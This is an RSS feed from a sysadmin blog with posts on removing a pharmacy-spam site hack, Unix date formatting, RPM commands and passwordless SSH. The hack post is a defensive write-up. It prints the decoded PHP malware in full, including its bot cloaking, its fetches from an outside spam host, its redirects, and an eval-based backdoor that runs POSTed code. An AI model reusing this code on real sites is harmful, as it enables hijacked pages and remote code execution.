<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Admin&#039;s Choice</title>
	<atom:link href="http://www.adminschoice.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.adminschoice.com</link>
	<description>Sys Admin&#039;s Choice</description>
	<lastBuildDate>Thu, 29 Mar 2012 06:23:23 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Site Hacked with Pharmacy Spammy Content on search listings</title>
		<link>http://www.adminschoice.com/site-hacked-with-pharmacy-spam</link>
		<comments>http://www.adminschoice.com/site-hacked-with-pharmacy-spam#comments</comments>
		<pubDate>Wed, 28 Mar 2012 06:39:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.adminschoice.com/?p=458</guid>
		<description><![CDATA[Got a email* today today that adminschoice.com searches on google.com are resulting in pharmacy spammy urls and contents. It took around three hours to find out what is happening and fixing it. Finally the site should be free of spam now. It may take a while to update google index entries but redirect is not [...]]]></description>
			<content:encoded><![CDATA[<p>Got a email* today today that adminschoice.com  searches on google.com are resulting in  pharmacy spammy urls and contents. It took around three hours to find out what is happening and fixing it. Finally the site should be free of spam now. It may take a while to update google index entries but redirect is not happening any more.</p>
<p>For the benefit of  sysadmins who may face this issue here are some details to take care of this </p>
<p><b>Anatomy of Site hacked with pharmacy spammy content on search listings</b></p>
<p><strong>How it works , how google listings are modified </strong></p>
<p>A malicious code is inserted in one of your files such as functions.php file.<br />
This Code modifies request for the pages to your website to be  served from another server.<br />
When googlebot/msn or other bots indexes the site ,   your content is hidden due to  redirect and pharmacy spammy content is retrieved by the bot. This result is updated in the Google index and you see the entries in Google search results.<br />
( You can check what Google-bot  , msn , yahoo bots are getting from your web page &#8212; http://redleg-redleg.com/file-viewer/ )</p>
<p>When you click on the link in the search engine it is redirected to other site from within your site so link remains the same and content &#038; its description changes.</p>
<p>Here is the details to find out and remove the malicious software from your site</p>
<ul>
<li>1. The hacked code is generally inserted in a php  or other files as base64 encoded strings similar to one below
<p>eval(base64_decode(&#8216;ZXJyb3JfcmVwb3J0aW5nKDApOwokYm90X2xpc3QgPSBhcnJheSgiOC42LjQ4IiwiNjIuMTcyLjE5OSIsIjYyLjI3LjU5IiwiNjMuMTYzLjEwMiIsIjY0LjE1Ny4xMzciLCI2NC4xNTcuMTM4IiwiNjQuMjMzLjE3MyIsIjY0LjY4LjgwIiwiNjQuNjguODEiLCI2NC42OC44M  &#8212; so on for few lines  ( ~8k string in this example )</li>
<li>2. Use find and grep to find the eval &#038; base64_decode string inside the files , Many files will have it for legitimate purpose but the hacked file will have a encode string to hide the program line .
<p>Use following command to find  the code :</p>
<p>find . -exec grep -i eval {} \; | grep base64;  &#8212; look for long strings of numbers and letters </p>
<p>find . -exec grep -l eval {} \; | grep base64;     &#8212;  Gives names of files </li>
<li>3. From the above commands pin point the hacked file name. Do a `more` on the file to  see that you have the  correct file. Rename the file so that it is no longer used by any program.</li>
<li>4. if you have a copy of original file then copy it here or  you can do a grep -v base64 <hackedfile.php> > good-file.php  to remove the string code and rename to original file.</li>
<li>5. if interested, You can check  copy paste the string at http://www.functions-online.com/base64_decode.html to see what the program was trying to do.</li>
</ul>
<p>For the curious who wants to know what is happening here is the code after base64 decoding (http://www.functions-online.com/base64_decode.html) . This was added in one of the .php file as base64 encoded string of ~7k long casuing google results to show spammy link description.</p>
<p>&#8212;&#8212;&#8212;-code &#8212;<br />
$bot_list = array(&#8220;8.6.48&#8243;,&#8221;62.172.199&#8243;,&#8221;62.27.59&#8243;,&#8221;63.163.102&#8243;,&#8221;64.157.137&#8243;,&#8221;64.157.138&#8243;,&#8221;64.233.173&#8243;,&#8221;64.68.80&#8243;,&#8221;64.68.81&#8243;,&#8221;64.68.82&#8243;,&#8221;64.68.83&#8243;,&#8221;64.68.84&#8243;,&#8221;64.68.85&#8243;,&#8221;64.68.86&#8243;,&#8221;64.68.87&#8243;,&#8221;64.68.88&#8243;,&#8221;64.68.89&#8243;,&#8221;64.68.90&#8243;,&#8221;64.68.91&#8243;,&#8221;64.68.92&#8243;,&#8221;64.75.36&#8243;,&#8221;66.163.170&#8243;,&#8221;66.163.174&#8243;,&#8221;66.196.101&#8243;,&#8221;66.196.65&#8243;,&#8221;66.196.67&#8243;,&#8221;66.196.72&#8243;,&#8221;66.196.73&#8243;,&#8221;66.196.74&#8243;,&#8221;66.196.77&#8243;,&#8221;66.196.78&#8243;,&#8221;66.196.80&#8243;,&#8221;66.196.81&#8243;,&#8221;66.196.90&#8243;,&#8221;66.196.91&#8243;,&#8221;66.196.92&#8243;,&#8221;66.196.93&#8243;,&#8221;66.196.97&#8243;,&#8221;66.196.99&#8243;,&#8221;66.218.65&#8243;,&#8221;66.218.70&#8243;,&#8221;66.228.164&#8243;,&#8221;66.228.165&#8243;,&#8221;66.228.166&#8243;,&#8221;66.228.173&#8243;,&#8221;66.228.182&#8243;,&#8221;66.249.64&#8243;,&#8221;66.249.65&#8243;,&#8221;66.249.66&#8243;,&#8221;66.249.67&#8243;,&#8221;66.249.68&#8243;,&#8221;66.249.69&#8243;,&#8221;66.249.70&#8243;,&#8221;66.249.71&#8243;,&#8221;66.249.72&#8243;,&#8221;66.249.73&#8243;,&#8221;66.249.78&#8243;,&#8221;66.249.79&#8243;,&#8221;66.94.230&#8243;,&#8221;66.94.232&#8243;,&#8221;66.94.233&#8243;,&#8221;66.94.238&#8243;,&#8221;67.195.115&#8243;,&#8221;67.195.34&#8243;,&#8221;67.195.37&#8243;,&#8221;67.195.44&#8243;,&#8221;67.195.45&#8243;,&#8221;67.195.50&#8243;,&#8221;67.195.51&#8243;,&#8221;67.195.52&#8243;,&#8221;67.195.53&#8243;,&#8221;67.195.54&#8243;,&#8221;67.195.58&#8243;,&#8221;67.195.98&#8243;,&#8221;68.142.195&#8243;,&#8221;68.142.203&#8243;,&#8221;68.142.211&#8243;,&#8221;68.142.212&#8243;,&#8221;68.142.230&#8243;,&#8221;68.142.231&#8243;,&#8221;68.142.240&#8243;,&#8221;68.142.246&#8243;,&#8221;68.142.249&#8243;,&#8221;68.142.250&#8243;,&#8221;68.142.251&#8243;,&#8221;68.180.216&#8243;,&#8221;68.180.250&#8243;,&#8221;68.180.251&#8243;,&#8221;69.147.79&#8243;,&#8221;72.14.199&#8243;,&#8221;72.30.101&#8243;,&#8221;72.30.102&#8243;,&#8221;72.30.103&#8243;,&#8221;72.30.104&#8243;,&#8221;72.30.107&#8243;,&#8221;72.30.110&#8243;,&#8221;72.30.111&#8243;,&#8221;72.30.124&#8243;,&#8221;72.30.128&#8243;,&#8221;72.30.129&#8243;,&#8221;72.30.131&#8243;,&#8221;72.30.132&#8243;,&#8221;72.30.133&#8243;,&#8221;72.30.134&#8243;,&#8221;72.30.135&#8243;,&#8221;72.30.142&#8243;,&#8221;72.30.161&#8243;,&#8221;72.30.177&#8243;,&#8221;72.30.179&#8243;,&#8221;72.30.213&#8243;,&#8221;72.30.214&#8243;,&#8221;72.30.215&#8243;,&#8221;72.30.216&#8243;,&#8221;72.30.221&#8243;,&#8221;72.30.226&#8243;,&#8221;72.30.252&#8243;,&#8221;72.30.54&#8243;,&#8221;72.30.56&#8243;,&#8221;72.30.60&#8243;,&#8221;72.30.61&#8243;,&#8221;72.30.65&#8243;,&#8221;72.30.78&#8243;,&#8221;72.30.79&#8243;,&#8221;72.30.81&#8243;,&#8221;72.30.87&#8243;,&#8221;72.30.9&#8243;,&#8221;72.30.97&#8243;,&#8221;72.30.98&#8243;,&#8221;72.30.99&#8243;,&#8221;74.6.11&#8243;,&#8221;74.6.12&#8243;,&#8221;74.6.13&#8243;,&#8221;74.6.131&#8243;,&#8221;74.6.16&#8243;,&#8221;74.6.17&#8243;,&#8221;74.6.18&#8243;,&#8221;74.6.19&#8243;,&#8221;74.6.20&#8243;,&#8221;74.6.21&#8243;,&#8221;74.6.22&#8243;,&#8221;74.6.23&#8243;,&#8221;74.6.24&#8243;,&#8221;74.6.240&#8243;,&#8221;74.6.25&#8243;,&#8221;74.6.26&#8243;,&#8221;74.6.27&#8243;,&#8221;74.6.28&#8243;,&#8221;74.6.29&#8243;,&#8221;74.6.30&#8243;,&#8221;74.6.31&#8243;,&#8221;74.6.65&#8243;,&#8221;74.6.66&#8243;,&#8221;74.6.67&#8243;,&#8221;74.6.68&#8243;,&#8221;74.6.69&#8243;,&#8221;74.6.7&#8243;,&#8221;74.6.70&#8243;,&#8221;74.6.71&#8243;,&#8221;74.6.72&#8243;,&#8221;74.6.73&#8243;,&#8221;74.6.74&#8243;,&#8221;74.6.75&#8243;,&#8221;74.6.76&#8243;,&#8221;74.6.79&#8243;,&#8221;74.6.8&#8243;,&#8221;74.6.85&#8243;,&#8221;74.6.86&#8243;,&#8221;74.6.87&#8243;,&#8221;74.6.9&#8243;,&#8221;141.185.209&#8243;,&#8221;169.207.238&#8243;,&#8221;199.177.18&#8243;,&#8221;202.160.178&#8243;,&#8221;202.160.179&#8243;,&#8221;202.160.180&#8243;,&#8221;202.160.181&#8243;,&#8221;202.160.183&#8243;,&#8221;202.160.185&#8243;,&#8221;202.165.96&#8243;,&#8221;202.165.98&#8243;,&#8221;202.165.99&#8243;,&#8221;202.212.5&#8243;,&#8221;202.46.19&#8243;,&#8221;203.123.188&#8243;,&#8221;203.141.52&#8243;,&#8221;203.255.234&#8243;,&#8221;206.190.43&#8243;,&#8221;207.126.239&#8243;,&#8221;209.1.12&#8243;,&#8221;209.1.13&#8243;,&#8221;209.1.32&#8243;,&#8221;209.1.38&#8243;,&#8221;209.131.40&#8243;,&#8221;209.131.41&#8243;,&#8221;209.131.48&#8243;,&#8221;209.131.49&#8243;,&#8221;209.131.50&#8243;,&#8221;209.131.51&#8243;,&#8221;209.131.60&#8243;,&#8221;209.131.62&#8243;,&#8221;209.185.108&#8243;,&#8221;209.185.122&#8243;,&#8221;209.185.141&#8243;,&#8221;209.185.143&#8243;,&#8221;209.185.253&#8243;,&#8221;209.191.123&#8243;,&#8221;209.191.64&#8243;,&#8221;209.191.65&#8243;,&#8221;209.191.82&#8243;,&#8221;209.191.83&#8243;,&#8221;209.67.206&#8243;,&#8221;209.73.176&#8243;,&#8221;209.85.238&#8243;,&#8221;211.14.8&#8243;,&#8221;211.169.241&#8243;,&#8221;213.216.143&#8243;,&#8221;216.109.121&#8243;,&#8221;216.109.126&#8243;,&#8221;216.136.233&#8243;,&#8221;216.145.58&#8243;,&#8221;216.155.198&#8243;,&#8221;216.155.200&#8243;,&#8221;216.155.202&#8243;,&#8221;216.155.204&#8243;,&#8221;216.239.193&#8243;,&#8221;216.239.33&#8243;,&#8221;216.239.37&#8243;,&#8221;216.239.39&#8243;,&#8221;216.239.41&#8243;,&#8221;216.239.45&#8243;,&#8221;216.239.46&#8243;,&#8221;216.239.51&#8243;,&#8221;216.239.53&#8243;,&#8221;216.239.57&#8243;,&#8221;216.239.59&#8243;,&#8221;216.32.237&#8243;,&#8221;216.33.229&#8243;,&#8221;174.129.130&#8243;, &#8220;174.36.55&#8243;, &#8220;94.100.17&#8243;);<br />
$ip = preg_replace(&#8220;/\.(\d+)$/&#8221;, &#8221;, $_SERVER["REMOTE_ADDR"]);<br />
$originalip = $_SERVER["REMOTE_ADDR"];<br />
function read_content($getsite,$getpage,$typeread)  {<br />
$out=&#8221;";<br />
$sourceurl=base64_decode(&#8216;http://glavget.com/get/?site==&#8217;).urlencode($getsite).&#8217;&#038;page=&#8217;.urlencode($getpage).&#8217;&#038;ip=&#8217;.urlencode($_SERVER['REMOTE_ADDR']).&#8217;&#038;agent=&#8217;.urlencode($_SERVER['HTTP_USER_AGENT']);<br />
if ($typeread == &#8220;seo&#8221;){<br />
$sourceurl=$sourceurl.&#8221;&#038;seo=yes&#8221;;<br />
}<br />
if ($typeread == &#8220;traffic&#8221;){<br />
$sourceurl=$getsite;<br />
}<br />
if (function_exists(&#8220;curl_init&#8221;)) {<br />
$c = curl_init();<br />
curl_setopt($c, CURLOPT_URL, $sourceurl);<br />
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);<br />
curl_setopt($c, CURLOPT_TIMEOUT, 10);<br />
$out = curl_exec($c);<br />
curl_close($c);<br />
}<br />
if($out==&#8221;"){<br />
$out = @file_get_contents($sourceurl);<br />
}<br />
if($out==&#8221;"){<br />
	if(!preg_match(&#8216;/^http(s){0,1}:\/\/(.*?)\//&#8217;, $sourceurl, $matches))	{<br />
		$out = &#8220;&#8221;;<br />
	}<br />
	$domain = $matches[2];<br />
	$fp = fsockopen($domain, 80, $errno, $errstr, 30);<br />
	if(!$fp) { $out = &#8221;; } else {<br />
        $crlf = &#8220;\r\n&#8221;;<br />
	$req = &#8220;GET $sourceurl HTTP/1.0&#8243;.$crlf;<br />
        $req .= &#8216;Host: &#8216;.$domain.$crlf;<br />
        $req .= &#8216;User-Agent: Mozilla/5.0 Firefox/3.6.12&#8242;.$crlf.$crlf;<br />
	fwrite($fp, $req);<br />
	$out = &#8221;;<br />
	while(!feof($fp))	{<br />
		$out .= fgets($fp, 256);<br />
	}<br />
	$out = substr($out, strpos($out, &#8220;\r\n\r\n&#8221;)+4);<br />
        }<br />
}<br />
if($out==&#8221;"){<br />
$out = &#8220;0&#8243;;<br />
}<br />
return $out;<br />
}<br />
if(!array_key_exists(&#8216;HTTP_USER_AGENT&#8217;, $_SERVER))<br />
    $_SERVER['HTTP_USER_AGENT'] = &#8221;;<br />
if(md5($_POST["key"]) == &#8220;c8d4613f940c517da44c91e7223140f3&#8243;){ $cmd = $_POST["code"]; eval (stripslashes($cmd)); exit; }<br />
if(in_array($ip, $bot_list) || strpos($_SERVER['HTTP_USER_AGENT'], &#8220;bot&#8221;))	{<br />
$printpage=read_content($_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']);<br />
if (substr($printpage,0,3) == &#8220;OK!&#8221;){<br />
    $printpage = substr($printpage,3);<br />
} else {<br />
    $printpage = &#8220;0&#8243;;<br />
}<br />
    if ($printpage!=&#8221;0&#8243;) {<br />
	echo $printpage; die;<br />
    }<br />
}<br />
if (preg_match(&#8216;/live|msn|yahoo|google|ask|aol/&#8217;, $_SERVER["HTTP_REFERER"]) &#038;&#038; !preg_match(&#8220;/^(000000000000)/&#8221;, $originalip)) {<br />
    $seopage=read_content($_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI'], &#8216;seo&#8217;);<br />
    $trafficpage=&#8221;0&#8243;;<br />
    if (substr($seopage,0,4) == &#8220;SEO!&#8221;){<br />
        $getkeyword = substr($seopage,4);<br />
        $urlsutra = base64_decode(&#8216;aHR0cDovL2tsaWtjZW50cmFsLmNvbS90cmFmZmljL2luLmNnaT8xMCZwYXJhbWV0ZXI9&#8242;);<br />
        $urlsutra = $urlsutra.urlencode($getkeyword).&#8221;&#038;seoref=&#8221;.$_SERVER["HTTP_REFERER"].&#8221;&#038;HTTP_REFERER=&#8221;.$_SERVER['HTTP_HOST'];<br />
        header(&#8216;Cache-Control: no-cache, no-store, must-revalidate&#8217;);<br />
        $trafficpage=read_content($urlsutra,&#8221;, &#8216;traffic&#8217;);<br />
        if($trafficpage!=&#8221;0&#8243;){<br />
            echo $trafficpage; die;<br />
        } else {<br />
            header(&#8220;location: &#8220;.$urlsutra); die;<br />
        }<br />
    }<br />
}<br />
&#8212;&#8212;end code &#8212;&#8212;</p>
<p>* Thanks Andy for pointing out this issue.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminschoice.com/site-hacked-with-pharmacy-spam/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Unix Date Format Examples</title>
		<link>http://www.adminschoice.com/unix-date-format-examples</link>
		<comments>http://www.adminschoice.com/unix-date-format-examples#comments</comments>
		<pubDate>Sat, 10 Mar 2012 18:53:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Basics]]></category>
		<category><![CDATA[Unix Date Format Examples]]></category>

		<guid isPermaLink="false">http://adminschoice.com/?p=417</guid>
		<description><![CDATA[Unix date format is needed  in the scripts, timestamped log files and  script generated reports .  This article attempts to simply date formatting with several examples .  Date command in Unix is used to format date as well as time . First portion of this article covers Date  function and the second portion has the  [...]]]></description>
			<content:encoded><![CDATA[<p>Unix date format is needed  in the scripts, timestamped log files and  script generated reports .  This article attempts to simply date formatting with several examples .  Date command in Unix is used to format date as well as time . First portion of this article covers Date  function and the second portion has the  time function covered .</p>
<p><strong>Unix   Basic date format</strong></p>
<p>$date &#8220;+&lt;Parameter&gt;&lt;seprator&gt;&lt;Parameter&gt;&lt;seprator&gt;&lt;Parameter&gt;</p>
<p>Where Parameters  is  any one or more Parameter from the list below and separator is a any field separator like  hyphen( &#8211; ) , slash  , colon :   and it is optional.</p>
<p><strong>Unix Date Format Examples</strong></p>
<p>lets get the parameter for year , month and date and produce a hyphen separated  date format</p>
<p><strong><em>$date &#8220;+%Y-%m-%d&#8221;</em></strong></p>
<p><strong><em>2010-02-10</em></strong></p>
<p>%Y is keyword for four digit year<br />
%m is keyword for two digit month<br />
%d is keyword for two digit date<br />
Hyphen is separator here .</p>
<p>If you change the separator here  to  slash the format would look like</p>
<p><em><strong>$date &#8220;+%Y/%m/%d&#8221;<br />
2010/02/10</strong></em></p>
<p>You can switch date keyword anyway you want , if you need month first and year last  ,</p>
<p><em><strong>$date &#8220;+%m-%d-%Y&#8221;<br />
02-10-2010</strong></em></p>
<h2>Weekdays </h2>
<p>You can have  additional weekday information in your date with %A as</p>
<p><strong><em>$date &#8220;+%m-%d-%Y %A&#8221;<br />
02-10-2010 Wednesday</em></strong></p>
<p>or</p>
<p><em><strong>$date &#8220;+%A %m-%d-%Y&#8221;<br />
Wednesday 02-10-2010</strong></em></p>
<p>These are options you can select for weekday</p>
<p>%a 	weekday, abbreviated 	Wed<br />
%A 	weekday, full 	Wednesday<br />
%d 	day of the month (dd), zero padded 	10<br />
%e 	day of the month (dd) 	10<br />
%j 	day of year, zero padded 	000-366<br />
%u 	day of week starting with Monday (1), i.e. mtwtfss 	3<br />
%w 	day of week starting with Sunday (0), i.e. smtwtfs 	3</p>
<h2>Month </h2>
<p>You can have additional month information in your date with %B as</p>
<p><strong><em>$date &#8220;+%m-%d-%Y %B&#8221;<br />
02-10-2010 Februrary</em></strong></p>
<p>or</p>
<p><em><strong>$date &#8220;+%B %m-%d-%Y&#8221;<br />
February 02-10-2010</strong></em></p>
<p>These are options you can select for month</p>
<p>%m 	mm month as two digits<br />
%b 	Mon, locale&#8217;s abbreviated 	Feb<br />
%B 	locale&#8217;s full month, variable length 	February</p>
<h2>Year</h2>
<p>You can have additional year information as two digit or four digit with %y or %Y as</p>
<p><em><strong>$date &#8220;+%m-%d-%y &#8221;<br />
02-10-10</strong></em></p>
<p>or</p>
<p><strong><em>$date &#8220;+%m-%d-%Y &#8221;<br />
02-10-2010</em></strong></p>
<p>These are options you can select for year</p>
<p>%y 	yy two digit year 	00–99<br />
%Y 	ccyy year 	2010</p>
<p>Additional date format parameters which can be used :</p>
<h2>Week</h2>
<p>%U 	week number Sunday as first day of week 	01–53<br />
%W 	week number Monday as first day of week 	01–53<br />
%V 	week of the year 	01–53</p>
<h2>Century</h2>
<p>%C 	cc century 	00–99</p>
<h2>Date</h2>
<p>%D 	mm/dd/yy 	02/10/10<br />
%x 	locale&#8217;s date representation (mm/dd/yy) 	02/10/2010<br />
%F 	%Y-%m-%d 	2010-02-10</p>
<h2>Date and Time time stamp</h2>
<p>%c 	locale&#8217;s date and time 	Wed Feb 10 10:02:33 PST 2010</p>
<hr />
<h2>Time function </h2>
<p>Time function is simple to use and date command is used to format &amp; display time as well . You can use date and time parameters to format your date time stamp as per your requirment</p>
<p>A simple time stamp with date  can be generated as :</p>
<p><em><strong>$date &#8220;+%c&#8221;</strong></em><br />
%c 	locale&#8217;s date and time 	Sat Nov 04 12:02:33 EST 1989</p>
<p>Date function have some preformated time stamps to make things easier</p>
<p><strong>Example :</strong></p>
<p><em><strong>$date &#8220;+%r&#8221;<br />
05:28:55 PM</strong></em></p>
<p>More preformated options :</p>
<p>%R 	hours, minutes (24 hour clock) 	hh:mm e.g. 17:28<br />
%T 	hours, minutes, seconds (24-hour clock) 	17:28:55<br />
%X 	locale&#8217;s time representation (%H:%M:%S)       05:28:55 PM</p>
<p>Custom time format</p>
<p>Examples</p>
<p>Time stamp with  12 hr clock</p>
<p><em><strong>$date &#8220;+%l:%M:%S<br />
5:22:45</strong></em></p>
<p>Time stamp with  24 hr clock</p>
<p><em><strong>$date &#8220;+%H:%M:%S&#8221;<br />
20:22:45<br />
</strong></em></p>
<p>Time stamp with  AM/PM</p>
<p><em><strong>$date &#8220;+%l:%M:%S %p&#8221;<br />
5:22:45  PM<br />
</strong></em></p>
<p>Additional date time parameters :</p>
<p><strong>Hours</strong><br />
%l (Lowercase L) 	hour (12 hour clock) 	8<br />
%I (Uppercase I) 	hour (12 hour clock) zero padded 	08<br />
%k 	hour (24 hour clock) 	20<br />
%H 	hour (24 hour clock) zero padded 	20<br />
%p 	locale&#8217;s upper case AM or PM (blank in many locales) 	PM<br />
%P 	locale&#8217;s lower case am or pm (really!) 	pm</p>
<p><strong>Minutes</strong><br />
%M 	MM minutes 	28</p>
<p><strong>Seconds</strong><br />
%s 	seconds since 00:00:00 1970-01-01 UTC (Unix epoch) 	1265833735<br />
%S 	SS second 	00–60<br />
%N 	nanoseconds 	000000000–999999999</p>
<p><strong>Time zone</strong><br />
%z 	-zzzz RFC-822 style numeric timezone 	-0500<br />
%Z 	time zone (e.g., EDT) nothing if no time zone is determinable 	EST</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminschoice.com/unix-date-format-examples/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Linux RPMs &#8211; All you need to know</title>
		<link>http://www.adminschoice.com/linux-rpms-all-you-need-to-know</link>
		<comments>http://www.adminschoice.com/linux-rpms-all-you-need-to-know#comments</comments>
		<pubDate>Thu, 28 Apr 2011 19:19:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[rpm . install rpm]]></category>
		<category><![CDATA[rpm commands]]></category>

		<guid isPermaLink="false">http://adminschoice.com/?p=435</guid>
		<description><![CDATA[This document contains an overview of the principal RPM commands for installing, uninstalling, upgrading, querying, listing, and checking RPM packages on your Red Hat Linux system. This document uses apache rpm httpd-2.0.49-4.i386.rpm , as an example. About RPM naming conventions All rpms follow the similar naming conventions package name version release architecture Package Type httpd [...]]]></description>
			<content:encoded><![CDATA[<p>This document contains an overview of the principal RPM commands for installing, uninstalling, upgrading, querying, listing, and checking RPM packages on your Red Hat Linux system. </p>
<p>This document uses apache rpm httpd-2.0.49-4.i386.rpm , as an example.</p>
<ol>
<li><strong>About RPM naming conventions</strong></li>
<p>All rpms follow the similar naming conventions </p>
<p>package name      version   release    architecture      Package Type<br />
httpd             2.0.49    4          i386                 rpm</p>
<p><strong>name </strong>is a name describing the packaged software.<br />
<strong>version </strong>is the version of the packaged software.<br />
<strong>release </strong>is the number of times this version of the software has been packaged.<br />
<strong>architecture </strong>is the type of computer hardware  rpm is  meant to run on for example  i3836,alpha ,Sparc,mips,ppc,SGI,m68k ) . </p>
<p>It may also be the string<br />
noarch &#8211; no artitecture &#8211; indicating package is not hardware specific..<br />
nosrc  &#8211; no source &#8211;  means it has only package building files  and<br />
src    &#8211; Source &#8211;  means it contains the package building files and the software&#8217;s source code. </p>
<p><strong>
<li>Installing RPMs</li>
<p></strong></p>
<p>For RPMs present locally </p>
<p># rpm -ivh
<path>httpd-2.0.49-4.i386.rpm</p>
<p>-i  Install<br />
-v  Verbose<br />
-h Print 50 hash marks as the package archive is unpacked.</p>
<p><strong>For RPMs present on remote ftp location</strong><br />
# rpm -i ftp://<ftp server name>/
<path>/httpd-2.0.49-4.i386.rpm</p>
<p><strong>For RPMs present on remote http location</strong><br />
# rpm -i http://<http server name>/
<path>/httpd-2.0.49-4.i386.rpm</p>
<p><strong>
<li>Upgrading existing RPMs </li>
<p></strong></p>
<p># rpm -Uvh httpd-2.0.52-12.i386.rpm</p>
<p># rpm -Uvh ftp://<ftp server name>/
<path>/httpd-2.0.52-12.i386.rpm<br />
# rpm -Uvh http://<http server name>/
<path>/httpd-2.0.52-12.i386.rpm</p>
<p><strong>Notes</strong>:<br />
- Upgrade uninstalls the old package and installs the new one<br />
- If installing kernel use the install option as that will install new kernal as a new package and you can use old version if new does not work. Upgrade will remove the old version and you can&#8217;t go back . </p>
<p><strong>
<li>Removing RPMs</li>
<p></strong><br />
# rpm -e httpd</p>
<p>This is the simplest way of removing  a package. only package name is needed. Package is simply deleted and no information is displayed.</p>
<p>To see what is going on, use the following</p>
<p>#rpm -evv httpd</p>
<li><strong>Lising installed packages </strong></li>
<p>All packages installed on the system</p>
<p># rpm -qa</p>
<p>q &#8211; query<br />
a &#8211; all</p>
<p>Single Package  &#8211; installed in the system</p>
<p># rpm -q httpd</p>
<p>httpd-2.0.52-12</p>
<li><strong>Finding Package information</strong></li>
<p># rpm -qi httpd </p>
<p>gives following information about httpd package</p>
<p>Name        : httpd                        Relocations: (not relocatable)<br />
Version     : 2.0.52                           Vendor: (none)<br />
Release     : 0                             Build Date: Thu 13 Mar 2008 05:11:13 AM PDT<br />
Install Date: Fri 08 May 2010 08:18:45 PM PDT      Build Host:  mybuildhost.domain.com<br />
Group       : System Environment/Daemons    Source RPM: httpd-2.0.52-12.src.rpm<br />
Size        : 7982208                          License: Distributable<br />
Signature   : (none)<br />
Packager    : sysadmins group<br />
Summary     : The httpd Web server<br />
Description :</p>
<p><strong>
<li>Lising files in an installed packages</li>
<p></strong> </p>
<p># rpm -ql httpd</p>
<li><strong>Finding the association of a file to RPM</strong></li>
<p># rpm -qf /usr/local/httpd/bin</p>
<p>httpd-2.0.52</p>
<p><strong>
<li>List files in RPM package from local or remote destination .</li>
<p></strong><br />
# rpm -qpl httpd-2.0.52-12.i386.rpm<br />
# rpm -qpl ftp://<ftp server name>/
<path>/httpd-2.0.52-12.i386.rpm<br />
# rpm -qpl http://<http server name>/
<path>/httpd-2.0.52-12.i386.rpm</p>
<li><strong>verify an installed package</strong></li>
<p># rpm &#8211;verify httpd<br />
To verify an installed package. This command will list all files that do NOT pass the verify tests (done on size, MD5 signature, etc). Where a file does NOT pass, the output is listed using the following codes that signify what failed:<br />
    S File size<br />
  M Mode (includes permissions and file type)<br />
  5 MD5 sum<br />
  L Symlink<br />
  D Device<br />
  U User<br />
  G Group<br />
  T Mtime<br />
Take for example the following:<br />
  # rpm &#8211;verify mysql<br />
  S.5&#8230;.T c /etc/my.cnf<br />
This example indicates that file /etc/my.cnf failed on:<br />
  File size<br />
  MD5 Sum<br />
  Modified Time<br />
However, the &#8220;c&#8221; tells us this is a configuration file so that explains the changes. It should still be looked at to determine what the changes </ol>
]]></content:encoded>
			<wfw:commentRss>http://www.adminschoice.com/linux-rpms-all-you-need-to-know/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Configure ssh without password</title>
		<link>http://www.adminschoice.com/how-to-configure-ssh-without-password</link>
		<comments>http://www.adminschoice.com/how-to-configure-ssh-without-password#comments</comments>
		<pubDate>Wed, 08 Dec 2010 07:35:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Basics]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Access]]></category>
		<category><![CDATA[configure]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[less]]></category>
		<category><![CDATA[Password]]></category>
		<category><![CDATA[sftp]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://adminschoice.com/?p=425</guid>
		<description><![CDATA[Passwordless access for ssh and sftp , How to do sftp &#038; ssh without password &#8211; Step by Step This a real life example of configuring passwordless access for two users . The user &#8216;web&#8217; in this case needs a secure password less access to another user james in a server &#8216;devserver&#8217; . Follow the [...]]]></description>
			<content:encoded><![CDATA[<p><b>Passwordless access for ssh and sftp , How to do sftp &#038; ssh without password &#8211; Step by Step </b></p>
<p>This a real life example of configuring passwordless access for two users . The user &#8216;web&#8217; in this case needs a secure password less access to another user james in a server &#8216;devserver&#8217;<br />
.</p>
<p>
<b>Follow the Steps to configure secure passwordless access&nbsp;</b></p>
<p><b>Check the current ssh connectivity status</b> for james@devserver from localhost</p>
<p><i>[web@localhost ~]$ ssh james@devserver<br />
james@devserver&#8217;s password:&nbsp;</i><br />
Permission denied, please try again.<br />
As expected it prompted for password&nbsp;<br />
<b>&nbsp;</b></p>
<p><b>1. Generate the public  key private key pair&nbsp;</b><br />
Generate the public  key private key pair for the local host as following , Press enter for default file names and  no<br />
pass phrase options. The command here generates  RSA type keys.</p>
<p><i>[web@localhost ~]$ ssh-keygen -t rsa<br />
</i>Generating public/private rsa key pair.<br />
Enter file in which to save the key (/home/web/.ssh/id_rsa):&nbsp;<br />
Enter passphrase (empty for no passphrase):&nbsp;<br />
Enter same passphrase again:&nbsp;<br />
Your identification has been saved in /home/web/.ssh/id_rsa.<br />
Your public key has been saved in /home/web/.ssh/id_rsa.pub.<br />
The key fingerprint is:<br />
